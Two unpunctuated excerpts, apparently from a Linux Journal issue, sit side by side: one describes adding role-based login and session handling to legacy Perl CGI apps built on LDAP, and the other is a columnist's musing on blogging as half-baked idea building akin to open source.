221. y places on the hilly campus with their one user name and password The programmers have well tested Perl and PHP libraries that tie into this system You might be wondering So what s the problem Why build another layer on top of something that s working And actually for a long time there was no need The existing setup was just fine But over time we began having growing pains coming from several sources The number of Perl CGI applications for internal users has been growing steadily These apps are increasingly tailored for very specific tasks and are intended to be used by only a small group of people These legacy applications were developed over a period of years by many different developers Although they each used the LDAP system described above they handled sessions cookies and access in different ways A whole set of new scripts required protected access for certain user groups We had no good way of keeping track of or managing who would be able to access what As a software engineer my first thought was to create a small reusable library of some kind so that code wouldn t be duplicated I would write the code for logging in and session management just once and use it in many places But before got started realized there were a couple deeper issues should address We ought to handle and support the notion of roles directly Up to this point our software had focused on users the actual people who would be using the s
222. yapping faces on CNN and Fox News You can think out loud about a subject that other people can weigh in on You can scaffold an understanding raise a barn where new knowledge can hang out while more formal accommoda tions are built In this last respect blogging is a lot like open source code development Anybody with something useful to contribute is welcome to come in and help out As with open source code development the results of idea build ing on blogs have NEA qualities Nobody owns them Everybody can use them and Anybody can improve them This provisional quality relieves blogging of the need to put everything in final draft form which can be labor 30 july 2007 www linuxjournal com intensive Blogging is a kind of half bakery falling somewhere between public e mail a way to write for cc world and polished journalism of the sort we write for print publications like this one In fact lots of ideas I ve written about in Linux Journal were half baked first on my blog Software as construction the Live Web independent identity the Giant Zero VRM and The Because Effect are a few that come to mind But it ain t working like it used to The black holes are getting more common and sucking up more time The old leverage also seems to be drooping a bit And don t think it s just me In fact see myself as a kind of controlled study That s because my blog hasn t changed much in the 7 5 years it has been r

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